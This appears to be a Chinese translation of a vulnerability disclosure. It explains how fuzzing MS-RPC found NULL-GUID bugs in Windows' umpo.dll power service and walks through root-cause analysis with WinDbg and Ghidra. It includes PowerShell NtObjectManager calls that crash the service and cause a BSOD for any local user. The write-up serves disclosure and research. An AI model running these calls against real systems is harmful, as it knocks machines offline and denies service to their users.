Unplugging your Power service with my special GUID
在研究 MS-RPC(Microsoft Remote Procedure Call)协议时,我发现了两个可导致 Windows 电源服务崩溃的 RPC 调用。这两个调用都以 GUID
作为关键参数之一。当在调用时指定 NULL
值作为 GUID
参数时,电源服务会崩溃并引发蓝屏死机 (BSOD)。
其中 UmpoRpcReadProfileAlias
调用仅适用于基于 Windows 11 的系统(包括 Windows 11、Windows Server 2025 等),而 UmpoRpcReadFromUserPowerKey
调用经测试也可在 Windows 10 系统上成功触发。任何用户身份均可发起这些 RPC 调用。
此漏洞的影响在于,低权限用户可通过崩溃电源服务引发 BSOD,从而对 Windows 客户端或服务器实施拒绝服务 (DoS) 攻击。由于电源服务是负责管理电源设置、电池状态和电源策略的核心系统服务,无法通过服务管理器 (services.msc) 或命令行工具(如 sc config
或 net stop
)进行关闭或禁用。
漏洞发现过程
为自动化研究 MS-RPC 协议,我开发了基于 NtObjectManager 的模糊测试工具 (fuzzer)。该工具通过生成 RPC 客户端与服务器端交互,动态调用 RPC 接口方法。在对 C:WindowsSystem32umpo.dll
的 RPC 实现进行模糊测试时,系统突然崩溃并出现以下蓝屏错误:
定位触发漏洞的 RPC 调用
模糊测试工具会在执行前记录所有待调用的 RPC 调用日志。系统崩溃前最后记录的调用信息为:
RPCserver: umpo.dll
Procedure: UmpoRpcReadProfileAlias
Params: , System.Byte[], 1001337
------------------------
手动复现 RPC 调用
根据这些信息,我们可以使用 NtObjectManager 手动复现该 RPC 调用。通过创建 RPC 客户端,我们可以查看存在漏洞的方法及其参数列表:
$rpcinterfaces = "C:windowssystem32umpo.dll" | Get-RpcServer
$client = $rpcinterfaces | Get-RpcClient
$client | gm | Where-Object { $_.Name -eq 'UmpoRpcReadProfileAlias' } | fl
输出:
该方法具有以下定义:
UmpoRpcReadProfileAlias(System.Nullable[guid] p0, byte[] p1, int p2)
要手动触发 RPC 调用,我们需要按以下方式为 System.Nullable[guid]
和 byte[]
定义参数类型:
我们首先创建包含随机输入数据的字节数组:
$bytearray = ([System.Text.Encoding]::UTF8.GetBytes("incendiumrocks"))
通过再次查看日志文件的最后几行,我们可以观察到触发蓝屏死机 (BSOD) 时使用的参数配置。第一个参数(对应 System.Nullable[guid]
类型)显示为空值,极有可能被设置为 NULL
。那么为何该参数会被赋值为 NULL 呢?
模糊测试器 (fuzzer) 通过激活器 (activator) 动态创建复杂参数类型(如结构体 (Struct) 或全局唯一标识符 (GUID))的实例。由于该参数属于可空类型 (Nullable),测试器自动将 $Null
作为参数值传入。
$method = $client.GetType().GetMethods() |? { $_.Name -eq 'UmpoRpcReadProfileAlias' }
$p0 = $method.GetParameters()[0]
$guid = [Activator]::CreateInstance($p0.ParameterType)
通过调试信息可以确认当前 GUID
参数已被设置为 NULL
:
$guid -eq $Null
True
现在我们可以像模糊测试器 (fuzzer) 那样发起 RPC 调用:
$client.UmpoRpcReadProfileAlias($guid,$bytearray,1001337)
该操作将再次触发蓝屏死机 (BSOD):
根本原因分析
通过分析存在漏洞方法的参数值,可以明确观察到 GUID
参数被定义为可空类型 (Nullable):
UmpoRpcReadProfileAlias(System.Nullable[guid] p0, byte[] p1, int p2)
这意味着无需提供 GUID
参数,若未指定该参数,其默认值将为 NULL
。当我们使用 $Null
替代 $GUID
时系统同样会崩溃,这与预期完全一致,因为两者本质上是等效的。
附加调试器
为了深入分析问题,我们可以将 Windbg 调试器附加到 Power
进程。为何选择 Power 进程?因为 umpo.dll
的文件描述明确标注为:User-mode Power Service(用户模式电源服务)。
当使用 NULL
值作为 GUID
参数发起 RPC 调用时,调试器会捕获到访问冲突 (access violation):
通过分析调用堆栈 (call stack),可以观察到崩溃发生在 RtlStringFromGUIDEx
函数:
同时需要检查寄存器状态:
相关汇编指令试图从内存地址 rbx + 0x0E
加载一个字节(8 位值)到 ecx
寄存器,并将 ecx
的高 24 位清零。ds:00000000'0000000e=??
表明 rbx + 0x0E
指向的内存地址未初始化或无效,当 rbx
指针错误时会导致访问冲突 (access violation) 并引发系统崩溃。
为了进行对比分析,我们首先在 Windbg 中为 RtlStringFromGUIDEx
函数设置断点:
bp !ntdll!RtlStringFromGUIDEx+0x3d
接下来我们在 PowerShell 中创建有效的全局唯一标识符 (GUID):
$guid = [Guid]::NewGuid()
$guid
Guid
----
c97a92f2-3e2c-4344-b1d5-4836f00cd959
我们发起 RPC 调用后,Windbg 调试器成功命中预设的断点 (breakpoint):RtlStringFromGUIDEx 断点命中
查看寄存器状态,此时 RBX 寄存器的值为 0000026897240004:
继续执行调试器,可以观察到 RPC 调用现在返回了正常的结果值:
使用 Ghidra 进行逆向分析
为了深入理解根本原因 (root cause),我使用 Ghidra 对目标函数进行了逆向工程。以下代码并非 Ghidra 的直接输出,而是经过重构后更易于理解的伪代码表示。
uint UmpoReadProfileAlias(guid, bytearray, longlong profileSize) {
uint status;
longlong registryHandle[2];
UNICODE_STRING unicodeGuid;
undefined8 unicodeBuffer;
undefined8 unicodeBufferExtra;
// Initialize the unicode string buffer
unicodeBuffer = 0;
unicodeBufferExtra = 0;
// Check if the input profile size is zero
if (profileSize == 0) {
return ERROR_INVALID_PARAMETER; // Equivalent to 0x57
}
registryHandle[0] = -1;
// Check if the root key is invalid
if (UmpoPpmProfileEventsRootKey == -1) {
return ERROR_FILE_NOT_FOUND; // Equivalent to 2
}
// Convert GUID to Unicode String
RtlInitUnicodeString(&unicodeGuid, 0);
status = RtlStringFromGUID(guid, &unicodeGuid);
if (status == 0) {
// Try opening the registry key
status = RegOpenKeyExW(UmpoPpmProfileEventsRootKey, unicodeBufferExtra, 0, KEY_READ, registryHandle);
if (status == 0) {
// Query the registry value
status = RegQueryValueExW(registryHandle[0], L"Name", 0, 0, bytearray, profileSize);
// If query failed with an unexpected error, trigger telemetry
if ((status & 0xfffffffd) != 0) {
MicrosoftTelemetryAssertTriggeredNoArgs();
}
} else if (status != ERROR_FILE_NOT_FOUND) {
// Trigger telemetry if the registry open operation failed with an unexpected error
MicrosoftTelemetryAssertTriggeredNoArgs();
}
}
// Free allocated Unicode string
RtlFreeUnicodeString(&unicodeGuid);
// Close the registry key if it was successfully opened
if (registryHandle[0] != -1) {
RegCloseKey(registryHandle[0]);
}
return status;
}
RtlStringFromGUID 函数要求有效的 GUID 参数。当传入 NULL
值时,由于未对 GUID 进行有效性校验而直接进行解析,会导致访问违规(段错误 segmentation fault)。
另一个漏洞实例
在排除 UmpoReadProfileAlias
RPC 方法并重新运行模糊测试器 (fuzzer) 后,系统再次触发蓝屏死机 (BSOD)。日志文件末尾显示以下记录:
RPCserver: umpo.dll
Procedure: UmpoRpcReadFromUserPowerKey
Params: , , , 1001337, 1001337, System.Byte[], 1001337,
------------------------
我们来看 UmpoRpcReadFromUserPowerKey
方法的定义:
UmpoRpcReadFromUserPowerKey(System.Nullable[guid] p0, System.Nullable[guid] p1, System.Nullable[guid] p2, int p3, int p4, byte[] p5, int p6, System.Nullable[NtCoreLib.Ndr.Marshal.NdrEnum16] p8)
该方法同样接受 3 个 System.Nullable[guid]
参数。为确定具体哪个参数导致蓝屏死机(BSOD),我们可以手动依次将每个 GUID(全局唯一标识符)参数设为 NULL 值进行测试:
$guid = [guid]"00000000-0000-0000-0000-000000000000"
$client.UmpoRpcReadFromUserPowerKey($guid,$guid,$guid,1001337,1001337,$bytearray,1001337,$complex)
p5 p7 p8 retval
-- -- -- ------
{105, 110, 99, 101…} 1001337 87
$client.UmpoRpcReadFromUserPowerKey($guid,$guid,$null,1001337,1001337,$bytearray,1001337,$complex)
p5 p7 p8 retval
-- -- -- ------
{105, 110, 99, 101…} 1001337 87
$client.UmpoRpcReadFromUserPowerKey($guid,$null,$null,1001337,1001337,$bytearray,1001337,$complex)
p5 p7 p8 retval
-- -- -- ------
{105, 110, 99, 101…} 1001337 87
但当发起下一个 RPC 调用(首个 GUID 参数同样设为 NULL
时),系统即会崩溃:
$client.UmpoRpcReadFromUserPowerKey($null,$null,$null,1001337,1001337,$bytearray,1001337,$complex)
Windbg
当发起 RPC 调用时,我们观察到另一个访问违规 (Access Violation),这次发生在 UmpoReadFromUserPowerKey
函数:
地址 0x00007ffac7178461
处的汇编指令试图将 r14
寄存器指向的内存地址中的四字长数据 (8 字节) 移动到 rax
寄存器。此时 r14
的值为 00000000'00000000
,表明这是空指针解引用 (NULL pointer dereference)。由于 mov 指令尝试从无效地址读取数据,最终导致访问违规。
Ghidra 逆向分析
我试图探究为何第二个和第三个 GUID
参数可以为 NULL
而第一个参数不能。为此,我在 Ghidra 中设置 umpo.dll 的基地址并定位到 UmpoReadFromUserPowerKey
函数,随后搜索 Windbg 中触发访问违规的内存地址 0x00007ffac7178461
。
值得注意的是,代码中存在针对第一个 GUID 参数的条件判断语句:
if ((PtrUmpoFullPowerPlanSupportDisabled != '0') && (firstguid != (longlong *)0x0))
此处 firstguid 参数值非 NULL
时才会触发"漏洞函数 (vulnerable function)",但代码未对 firstguid 指针进行有效性校验就直接执行解引用 (dereference) 操作,将其赋值给 lVar16 变量:
if (param_4 != '�') {
lVar16 = *firstguid; // Causes the crash
}
程序中 secondguid 和 thirdguid 的指针似乎未被解引用 (dereference),这解释了为何仅当 firstguid 为 NULL
时会引发崩溃 (crash)。
概念验证 (PoC)
使用强大的 NtObjectManager 工具,我们可以将 RPC 接口格式化为原生 C# RPC 客户端。这允许在 .NET 中使用客户端并通过可执行文件发起 RPC 调用。UmpoRpcReadProfileAlias
和 UmpoReadFromUserPowerKey
的 PoC 可在 GitHub 获取。
UmpoRpcReadProfileAlias
-
适用于 Windows 11 和 Windows Server 2025 -
Windows 10 不支持该 RPC 调用
UmpoReadFromUserPowerKey
-
已在 Windows 10 及以上版本成功测试 -
已在 Windows Server 2019 及以上版本成功测试
向微软报告
我将这两个漏洞报告给微软后,得到的回复是:该问题不构成直接威胁且属于中等严重性,因为需要冷启动或会导致蓝屏死机 (BSOD)。由于代码通过 UmpoIsClientLocal 检查远程 RPC 并在远程情况下终止,该漏洞仅限本地利用。我们已将报告转交产品维护团队,他们将评估修复方案并采取必要措施保护客户安全
由于无法通过命名管道 (named pipe) 远程利用这些 RPC 调用,因此属于中等严重性漏洞。微软通常仅对重要/严重漏洞采取紧急措施。但我希望此次详细分析能为后续修复提供参考。
若该案例被归类为中/低风险,则不受微软协调漏洞披露计划 (CVD)约束。本文发布前已通过微软审核批准。
致谢与资源
感谢 @FrankSpierings 在根本原因 (root cause) 分析和漏洞利用可行性评估方面的帮助。同时感谢 @JamesForshaw 开发 NtObjectManager 工具。
参考资源
-
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools -
https://learn.microsoft.com/en-us/windows/win32/rpc/rpc-start-page -
https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/ -
https://ghidra-sre.org/
原文始发于微信公众号(securitainment):拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论